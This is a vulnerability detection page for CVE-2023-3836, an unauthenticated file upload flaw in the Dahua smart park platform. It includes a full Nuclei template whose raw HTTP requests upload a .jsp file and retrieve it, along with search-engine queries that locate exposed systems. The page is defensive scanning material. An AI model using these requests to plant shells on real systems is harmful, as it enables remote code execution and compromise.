Dahua Smart Park Management - Arbitrary File Upload

criticalseverity

9.8CVSS score

73.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.

Impact

Unauthenticated attackers can upload arbitrary files to the Dahua wisdom park management platform, potentially enabling remote code execution and complete system compromise.

Fix

Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.

How to confirm it

Send: POST /emap/devicePoint_addImgIco?hasSubsystem=true ; GET /upload/emap/society_new/{{shell_filename}}
Positive when: status_code_1 == 200 && status_code_2 == 200 and contains(body_2, '{{match_str}}')

Run it with nuclei: nuclei -id CVE-2023-3836 -u <target>

The full check

id: CVE-2023-3836

info:
  name: Dahua Smart Park Management - Arbitrary File Upload
  author: HuTa0
  severity: critical
  description: |
    Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
  impact: |
    Unauthenticated attackers can upload arbitrary files to the Dahua wisdom park management platform, potentially enabling remote code execution and complete system compromise.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
  reference:
    - https://github.com/qiuhuihk/cve/blob/main/upload.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3836
    - https://vuldb.com/?ctiid.235162
    - https://vuldb.com/?id.235162
    - https://github.com/1f3lse/taiE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3836
    cwe-id: CWE-434
    epss-score: 0.7367
    epss-percentile: 0.99475
    cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dahuasecurity
    product: smart_parking_management
    shodan-query:
      - html:"/WPMS/asset"
      - http.html:"/wpms/asset"
    fofa-query: body="/wpms/asset"
    zoomeye-query: app="大华智慧园区综合管理平台"
  tags: cve2023,cve,dahua,fileupload,intrusive,rce,dahuasecurity,vkev,vuln
variables:
  random_str: "{{rand_base(6)}}"
  match_str: "{{md5(random_str)}}"

http:
  - raw:
      - |
        POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
        Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Host: {{Hostname}}

        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
        Content-Type: application/octet-stream
        Content-Transfer-Encoding: binary

        {{match_str}}
        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
      - |
        GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains(body_2, '{{match_str}}')"
        condition: and

    extractors:
      - type: regex
        name: shell_filename
        internal: true
        part: body_1
        regex:
          - 'ico_res_(\w+)_on\.jsp'

References

Use this check only on systems you are authorised to test. Where the data comes from